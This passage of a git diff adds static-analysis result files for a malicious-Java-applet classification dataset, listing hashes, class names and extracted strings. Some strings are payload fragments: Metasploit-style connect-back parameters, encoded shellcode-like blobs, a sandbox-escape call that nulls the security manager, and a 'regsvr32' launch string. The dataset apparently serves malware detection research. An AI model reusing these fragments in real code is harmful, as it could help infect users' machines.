"4444", "LHOST", "raw:", "ISO-8859-1", "EMWDppjowZ.wPzCdlzTrustManager", "useFor", "java.net.URLConnection", "EMWDppjowZ.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "wPzCdlz -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c4679fc5b7d6f2c02aefb713b96cbd6a533df483", "file_name": "java_malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33", "_id": "f68708c2-3185-4fab-bc4b-87d595dc3a56", "score": 0, "entropy": 6.151357503927828, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tVWIqYtmiwIyNvpvUrKYvCkgHzbDrDF:5+eIqEwIyNvZU+YvaH3B", "sha256": "217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33", "md5": "855bc4dac06aab532e6637c4050c53c1", "parent_sha256": "217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results b/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results
new file mode 100755
index 0000000..b747431
--- /dev/null
+++ b/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 110}}, "_id": "d6bc0710-828f-487c-a813-21bc598f05fe", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA-XP-0A-0A-kA-AQ-2A-B2-BB-0B-BA-BX-P8-AB-uJ-In-pl-Pl-Pz-0l-Pl-Pn-pJ-0j-0n-pM-8U-PU-PW-pu-Ph-ku-PZ-I9-lw-pw-pU-PQ-OP-dM-qp-0U-PU-P7-pp-xf-lN-kc-p6-lN-kP-p5-Ll-mL-Kq-xe-Xh-kw-yl-Kw-0w-Dn-m7-0s-LL-Kq-x7-Ln-ki-gP-j6-dR-yx-hl-OE-Pg-p3-0z-BX-ys-XR-Op-nW-p5-Pu-8r-UT-2b-LB-Mq-Dk-OE-FN-kY-xY-xC-Is-0W-pu-PL-Kj-ws-wK-0G-OS-0P-u8-zQ-WP-WC-wO-pg-O7-p4-5H-zl-Kz-O3-ot-sh-IM-Qx-lC-4U-QE-P7-pL-KK-lp-QB-r6-31-xS-4g-q5-P5-PK-OF-6T-Lc-jS-ir-qS-bn-kS-22-sq-SK-0w-K3-0P-uK-JM-QS-Ky-lF-Nc-Up-xa-u2-UC-3O-sx-kv-hm-YW-sK-wQ-Sc-4t-nS-Up-xq-ui-Vq-SV-hS-0s-kl-Jy-QC-4v-Pk-87-5c-0T-so-0v-0R-pp-SQ-GP-Py-or-vT-Pn-cj-Xe-PT-57-va-zu-QQ-Ci-o2-v6-dr-zV-9O-sy-Ru-Tq-Qm-PV-ZC-0q-eM-dy-o1-Fu-Xv-12-vN-kR-Uw-Ll-Ka-dv-Ns-HE-Sx-uV-6n-ks-Fe-pg-si-eE-cK-y1-Ys-qN-Mu-SX-EV-SK-kt-OM-n4-P4-zj-vQ-dE-XJ-ax-K4-MW-sy-JQ-Ph-kL-1W-Ku-OR-UY-wa-Nl-Kc-nQ-47-sy-Mu-6l-KT-LP-Kl-Ks-nU-LV-cK-ml-K7-tn-kV-cK-uL-kq-NR-yo-3y-xk-OY-ni-oI-oL-N2-nT-NZ-Ln-xi-nN-jv-nc-Ny-HK-RQ-cD-sJ-jN-js-kE-fV-zt-oP-pp-Fr-Eq-ws-fu-Ps-XP-tT-4r-P5-jV-Od-oc-Rr-Kr-ES-HR-YR-J2-Ee-2d-nc-YP-n1-vr-O6-Ou-3P-gb-IV-Mc-R1-y2-N6-OU-1q-uP-rf-OC-UR-hT-ys-R7-CR-BU-a4-we-2u-3C-fp-0f-QV-Pd-pQ-vT-pf-X0-06-Pp-0f-VR-ru-fp-1e-bT-uB-Fp-6v-XP-9p-1T-pV-Xp-Tp-d6-P0-7f-QD-wS-Qt-q4-vp-2T-pe-ap-lF-Pp-0T-qV-PT-sv-Qf-XQ-Zd-pS-VF-PV-Pp-0d-vV-Pp-1s-eV-Tb-E4-qq-rT-sS-S3-Tt-sG-pu-PA-", "-", "", "41,25,25,25,25", ",", "file://abc/", "B", "u", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "146d06c2311302aafd44dc6e9e9e274066cd2b16", "file_name": "java_malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908", "_id": "d6bc0710-828f-487c-a813-21bc598f05fe", "score": 0, "entropy": 6.079332821472574, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3414, "ssdeep": "96:7FloYWQT/Ds+X7W/eyNPe1rSxrbybDk3VKqFJ5:hl2cs+X7W/3NeJUFTx", "sha256": "218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908", "md5": "c410c9ee423ca9535508c7814847a1aa", "parent_sha256": "218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results b/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results
new file mode 100755
index 0000000..959b6f6
--- /dev/null
+++ b/java_classification/data/malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "ereose", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "bus", "kor", "hop", "fan", "nos", "dey", "tin", "ate", "yow"], "minor_version": 0, "const_pool_count": 237}}, "_id": "3ecfdd9f-fd94-423b-bc76-3e40025e94d1", "verbose": {"java": {"constant strings": ["oxy", "@", "stnb3t2tStnb3t2curityManagtnb3t2r", "tnb3t2", "e", "crtnb3t2attnb3t2Writabltnb3t2Rasttnb3t2r", "Raster", "javatnb3t2awttnb3t2imagetnb3t2", ".", "", "java.security.", "fib3vt2t1le:/b3vt2t1//", "b3vt2t1", "Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b80bd851744d459d4f6cd7cf5e60799426de9dc3", "file_name": "java_malicious/219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0", "_id": "3ecfdd9f-fd94-423b-bc76-3e40025e94d1", "score": 0, "entropy": 5.717582003536796, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4207, "ssdeep": "48:qEukgwscyK6TheVwFIegJFOPMMACw6t3NH2UEx26MCtrTGI85r8MH7au:GKUIe2O0tcNI1MCtZ85rf7au", "sha256": "219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0", "md5": "d9c401c9838d9db1fe9320e21b5d38dc", "parent_sha256": "219cece362884418d9a5c48ac3f5662c42fdb743fb20a3e8819c7aa554831cf0"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results b/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results
new file mode 100755
index 0000000..44472ba
--- /dev/null
+++ b/java_classification/data/malicious/21b0925327715a000c1fd6e91e4dd8ad449674523de621084404fe6618416229.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4.results b/java_classification/data/malicious/22460c2a35d3a2dc166dfd29919529791e6dd1d8905a5282e7550a689a447ea4.results
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diff --git a/java_classification/data/malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0.results b/java_classification/data/malicious/239b3cc2c55b549ff60dca928c76b024dffbfdcc7f88626cbf3209ef4829e5e0.results
new file mode 100755
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa.results b/java_classification/data/malicious/239df4cd5493f94c84626fc589699906fca3e6843bf9fc7355366595b7bf8cfa.results
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index 0000000..0026b30
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diff --git a/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results b/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results
new file mode 100755
index 0000000..e9a2797
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+++ b/java_classification/data/malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/ryjmbdjrpvajdhsxcl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "egbhlmtqohoptbjydh", "rpxlaqgxyywezil", "hjfbmcsqmyypyar", "jdstqqkbufctaesq", "xgkycnbggulawwfss", "init", "qcozxczjsxqgjnxmt", "uahmfynmiuurxsm", "eoddlqvdvilipxnszdj", "ajbgctrtdorxnmijiz", "hjncgvbxgspxmxldu", "jmttuugyrqgmdohdzl", "grzpmdmxnrxijetiuoz", "vgmvzpxpzldyquescol", "oopcibseylcvchuaw", "pzwkrjvsxxfralgots", "<clinit>"], "minor_version": 0, "const_pool_count": 284}}, "_id": "66e50f6a-2c81-45a9-bee1-d7a85a2c97c9", "verbose": {"java": {"constant strings": ["uroozz", "tkrsk", "aawvbocz", "nyjawznrynojvsl", "ergrvk", "vmkn", "qrfnohnvp", "q", "jd", "caaxjjrumxgx", "txrl", "rcytgqqqw", "psrmcjbvzqxzj", "xqccfxoekhlwh", "zgspepbv", "ebdpj", "iturgmp", "fnkfuehywc", "gdjzfmomqsqtxpi", "yxiyvxkpsmdlxe", "kzkyoyoxt", "hxbzw", "feunib", "bvnlpympc", "yjpsiyaohloqoi", "gfmowvlaotnrol", "n", "wfitsdze", "kwpulwmuo", "qxwtq", "wcjyvqqjhse", "ckeui", "zsxb", "kbockfhaent", "ffdpyxrx", "wvbbugbrirnc", "whfghjwy", "admjb", "ri", "ywxcr", "twtlmltpldoio", "aoijyyczxqd", "qqaul", "yzlaeiba", "qmifzl", "xgxpb", "bosfeijc", "imfibjam", "asl", "bkwuougisviua", "nrbemokrets", "hmigkzk", "hiktcmaxftmsbw", "isktnoqctsklysl", "i", "hhoeoxoatiae", "efbywirkxuqfx", "wmho", "bxdezt", "zqhrymyrgfdlj", "egvzqcufgtjv", "afdmeovbe", "vkbavaak"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f543f4e5e61816c06807855506140f9750c682a", "file_name": "java_malicious/23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35", "_id": "66e50f6a-2c81-45a9-bee1-d7a85a2c97c9", "score": 0, "entropy": 5.722890825903603, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5714, "ssdeep": "96:N/Be0iIz4YCO+oB1zftIjCBypjlq/uV5bIwtSplDL7fn6WeQ6rk:N/00ikY3onypjlQuV5b9SplDL7fn6Wec", "sha256": "23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35", "md5": "38574898873073cf5b2dc44f28a9fc95", "parent_sha256": "23e4d431c9375de60bbe58cb06123ecbbf0e17acbd99f6c9b8e992eddb69dc35"}}
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diff --git a/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results b/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results
new file mode 100755
index 0000000..92409d5
--- /dev/null
+++ b/java_classification/data/malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "f4375705-03ec-48b4-b16c-196838d5ab95", "verbose": {"java": {"JAVA String Analysis": {"files": [], "combined strings entropy": 4.7932182114836, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "IIIIIIIIIIIIIIII"}}}, "constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pN,pN,pz,0L,Pn,pj,0N,p9,yi,kU,Pu,P7,pS,o3,Ty,1t,pG,pg,pC,0N,kc,pV,ll,KP,pu,Ln,Mn,kC,Xe,pm,Pq,mV,lT,st,4f,cN,vZ,K8,sL,K3,XS,8n,ky,gQ,zv,dQ,IK,XL,OU,Pu,Ps,0M,2K,I5,8b,OB,Ng,pW,pc,X4,5R,Rr,LR,MQ,DY,of,vL,KY,x8,hr,Yg,pW,pe,Pl,KN,7Q,Wm,P7,OS,0c,E9,j1,WB,wa,WM,Pg,Ou,Pd,5J,Zl,Kj,OC,o7,C8,Im,Q8,lu,TS,1E,P7,pL,KY,L2,qQ,BF,30,hW,t3,1E,Pe,Pi,o3,ff,lq,Jr,y2,qb,rN,kU,RS,cC,sm,PU,kw,pb,Uz,ZM,Q3,Ky,lT,nQ,uR,Xq,uP,uT,Co,sx,ku,XL,If,c9,Wr,cT,Dt,nS,UC,Hc,UY,VP,CV,hW,p1,Kl,Jk,qU,Tp,0m,Xb,eS,0F,Sk,p0,Pp,PP,S6,7r,pK,Oc,fT,Pk,38,xG,p1,eW,vB,Jv,ar,sy,o3,ft,Dr,zP,YO,sK,ru,TB,aO,pG,JC,0Q,eN,TK,Ov,6g,xB,qp,Vl,Kd,5u,lN,k1,dP,5T,86,cI,eq,FN,kp,vq,0t,CX,uu,ch,I1,Y2,aN,Ms,3y,U7,Ci,KD,Om,nV,pW,HZ,RB,Tw,xO,1Z,kD,Mu,SY,Js,px,kH,qE,k7,o0,uK,Wq,Nn,kQ,Nw,T5,SI,Mr,Fl,Kd,Lp,KN,ks,nE,L7,sI,Ml,Kc,4L,Kg,sK,uL,kq,NR,y9,Si,x7,pI,oK,Oy,ol,NP,ND,NH,lJ,8y,nL,Jd,Ns,NZ,xi,rT,3t,si,ZN,jc,kt,vw,jT,ot,0s,q0,ic,QP,dR,kB,xv,1b,Y7,pR,Hs,D0,tp,pU,jv,Of,Op,kc,Y2,Nr,Os,JE,1T,nQ,yP,np,fb,OT,oR,P1,qu,7p,e4,os,RE,5Q,cp,td,nT,0a,xP,pV,O0,nt,pV,PU,1V,Qp,0F,Ve,b6,PP,1e,cd,pp,4S,BT,pd,tf,PV,YS,zD,qt,qT,pP,0P,0v,V4,pV,QS,bd,ud,re,1F,Qg,FD,pP,5w,I1,GG,F7,Ed,qD,rP,bC,UP,cT,ps,ht,y4,yS,SV,PQ,v3,Rc,SV,P0,YR,Dg,Ep,eD,pa,sc,RV,YC,Uq,JT,pV,Qd,p4,pu,6d,pt,x0,0e,P7,pA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a7b09052cbf93955607341570c3b58f18dcc4097", "file_name": "java_malicious/24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5", "_id": "f4375705-03ec-48b4-b16c-196838d5ab95", "score": 0, "entropy": 6.131292871884789, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "96:6FloaUA9j4vL8K0leGaQ+EiTNNkez/j83Ifh:Qlxj4o/leB37nr83Ip", "sha256": "24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5", "md5": "af5e213c4f7f5ff765b4540e17d55ac5", "parent_sha256": "24004be2cd3702b34c6ffa4daac1e03817a787cc600066ac53475b565eeb5dc5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results b/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results
new file mode 100755
index 0000000..95eeef5
--- /dev/null
+++ b/java_classification/data/malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/hvlcctynvk", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "jqqqycxlckmb", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "8294c31e-5758-4975-9447-75c47ba22c0c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "69475b2350a5e437600fadde39351eb7f84cd69e", "file_name": "java_malicious/24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7", "_id": "8294c31e-5758-4975-9447-75c47ba22c0c", "score": 0, "entropy": 5.20546056022253, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6962, "ssdeep": "192:Ttzq+zqyqAXzipSDxhi/To55UTYwa5hGX1:JzqEqyrWSDyTofUTkc1", "sha256": "24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7", "md5": "d6896af9cd44f7d43d9df1f1126ca87d", "parent_sha256": "24ec9c57eae1ebb38cf7c4d0c124dce4841065252dcb4ffffbd696e237890df7"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results b/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results
new file mode 100755
index 0000000..4a73541
--- /dev/null
+++ b/java_classification/data/malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "gkMIUZwsSK/KurXPCN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "50176353-05d9-411f-86ed-88a7599a8e80", "verbose": {"java": {"constant strings": ["gkMIUZwsSK.KurXPCN", ".class", "/gkMIUZwsSK.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "gkMIUZwsSK.dat", "URL", "", "https:", "gkMIUZwsSK/KurXPCNTrustManager.class", "KurXPCNTrustManager.class", "AESPassword", "gkMIUZwsSK/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "gkMIUZwsSK.KurXPCNTrustManager", "useFor", "java.net.URLConnection", "gkMIUZwsSK.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "KurXPCN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b1f2414dfe074344025f324e9a89492189574025", "file_name": "java_malicious/24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef", "_id": "50176353-05d9-411f-86ed-88a7599a8e80", "score": 0, "entropy": 6.1526570629328114, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBO+WZ9ThmAOxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t2Oftm/yNvpvUrKYvCkgHzbDrDF", "sha256": "24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef", "md5": "1f4ccf4de136215bedd7fe03650c3a27", "parent_sha256": "24f8abd4f0c8f6c9883c8f655076c8342b7410ef35bafa4323e05d28c449deef"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results b/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results
new file mode 100755
index 0000000..64a6a6d
--- /dev/null
+++ b/java_classification/data/malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "OoDvyyM.java", "class_name": "JGXgwWYpp/OoDvyyM", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "cGdRyAOm", "OkugTH", "djSUD", "DTtpLfNTR"], "minor_version": 0, "const_pool_count": 195}}, "_id": "c3a68dc5-d88f-40f3-a066-ce1c62cfb96b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7bfa610262049b133a019d17e4870678566caa61", "file_name": "java_malicious/2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d", "_id": "c3a68dc5-d88f-40f3-a066-ce1c62cfb96b", "score": 0, "entropy": 5.559783919914045, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3371, "ssdeep": "96:CzrtBFlChBKMDW4qJM8AFPcz2apPccTax:CFzlChQM8AFkPE6ax", "sha256": "2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d", "md5": "c8490910222983b5db9a86fcac4ec268", "parent_sha256": "2650d09b96aa48834d178f9b9d2360e49b7f420ae87a7ea1a264a5ff4bb48a9d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results b/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results
new file mode 100755
index 0000000..2707053
--- /dev/null
+++ b/java_classification/data/malicious/267769ca4f9b91063c7031bb501e62e39c6b982cdb7c9b87b25b94273489a0f7.results
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diff --git a/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results b/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results
new file mode 100755
index 0000000..b1afa2e
--- /dev/null
+++ b/java_classification/data/malicious/26d276959d4813bcc3cb90270aabfa5d78a2cf81338f8e60aeb53a32cd620d87.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e.results b/java_classification/data/malicious/26d29d2af62bde0a3527f46f5b9e5a09be27c0571093e012e49f3d9a6345d07e.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results b/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results
new file mode 100755
index 0000000..6e325a3
--- /dev/null
+++ b/java_classification/data/malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "Psokr", "GDe", "<clinit>"], "minor_version": 0, "const_pool_count": 201}}, "_id": "8a483a25-a84e-40dd-b3b6-c7686d99eed7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["param", "java.version", "_", "1.7.0_", "1.6.0_", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f09e13ab81e220b738c8c61bc4455326f99adeb0", "file_name": "java_malicious/2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39", "_id": "8a483a25-a84e-40dd-b3b6-c7686d99eed7", "score": 0, "entropy": 5.894970454644328, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3229, "ssdeep": "48:go5k1udT3CecXbETXyK6zeWdUiLi8+pBPy/OX1CDrbJ0qBvJXtuyUnUwPl:gYk1uFWXAOKMeWdaRyIG0qBvLOd", "sha256": "2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39", "md5": "dd2748c875e9f90e378c339465dd7335", "parent_sha256": "2a65a919494122e636bf040feb91462a6f99d3131a21144880b1b4c3e928af39"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results b/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results
new file mode 100755
index 0000000..1ee39b2
--- /dev/null
+++ b/java_classification/data/malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ezRpjHCtE.java", "class_name": "ezRpjHCtE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "callBack", "getFilePath", "order", "add", "replace", "con"], "minor_version": 0, "const_pool_count": 242}}, "_id": "4c695f1b-2142-4355-8405-3e2a4d93024f", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.795080984640658, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "exec"}}}, "constant strings": ["this.toString = function() {  \\tjava.lang.System.setSecurityManager(null);   applet.callBack();  return \\'\\';};c = new Error();c.message = this;c", "js", "applet", "", "p", "openStream", "close", "exec", "regsvr32 -s \"", "\"", "java.io.tmpdir", ".exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e8b24f54111b8a3a80b6b706c3eb85932258e99b", "file_name": "java_malicious/2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98", "_id": "4c695f1b-2142-4355-8405-3e2a4d93024f", "score": 0, "entropy": 5.748349178422388, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4238, "ssdeep": "48:PAdtwHLyFlP6NlBAj8A/i6vll3dgPQM/0nZo6gkDzLyUpsFdEGp3qs0/265iURqf:IVFlPiojv66j3dgroXhjyffEO3MiJf", "sha256": "2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98", "md5": "67a0502413d9f0db00db4592f4d4eddf", "parent_sha256": "2a7e602b3c43ec37386f9242820acda55cd7ecc92edc59db3b38c918e14d0b98"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results b/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results
new file mode 100755
index 0000000..55492de
--- /dev/null
+++ b/java_classification/data/malicious/2aa1c512b0a0e5b758c22293ff6b6531ac010739bbf630db507facec931f844a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 109}}, "_id": "81b8fe23-6fbc-40d9-a4a1-6e15e4677c40", "verbose": {"java": {"constant strings": 